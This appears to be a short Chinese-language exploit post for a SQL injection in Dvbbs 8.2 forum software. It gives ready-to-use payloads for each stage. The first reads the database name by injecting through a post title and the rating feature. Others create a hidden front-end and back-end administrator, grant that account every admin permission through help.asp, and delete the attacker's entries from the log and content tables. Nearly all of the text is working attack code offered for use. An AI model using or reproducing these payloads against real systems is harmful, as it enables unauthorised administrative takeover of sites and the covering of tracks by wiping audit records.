Dvbbs 8.2 SQL injection 0day

                                                发帖子，标题为下面的sql语句，然后点评论。0为中立, 1为支持, 2为反对 都行。
这时sql语句被执行
库名：a','',1,'akai','2008-2-4','',2);update/**/dv_user/**/set/**/useremail=db_name()/**/where/**/username='akai'--

复制代码加前台和后台管理员：a','',1,'akai','2008-2-4','',2);update dv_user set UserGroupID=1 where username='akai';insert into dv_admin(Username,Password,Flag,Adduser)values('akai','965eb72c92a549dd',',4,','akai')--

复制代码进入后台,通过注入再获取全部权限：http://www.xxx.com/Admin/help.asp?action=view&id=1;update/**/dv_admin/**/set/**/flag='1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45'/**/where/**/username='akai'--

复制代码清理数据库记录（有三个表）：http://www.xxx.com/Admin/help.asp?action=view&id=1;delete/**/from/**/dv_log/**/where/**/l_username='akai';delete/**/from/**/dv_topic/**/where/**/PostUsername='akai';delete/**/from/**/Dv_Appraise/**/where/**/UserName='akai'--

复制代码(因为是通过后台注入来执行delete语句，所以最后Dv_log还是有一条关于后台help.asp文件访问记录)
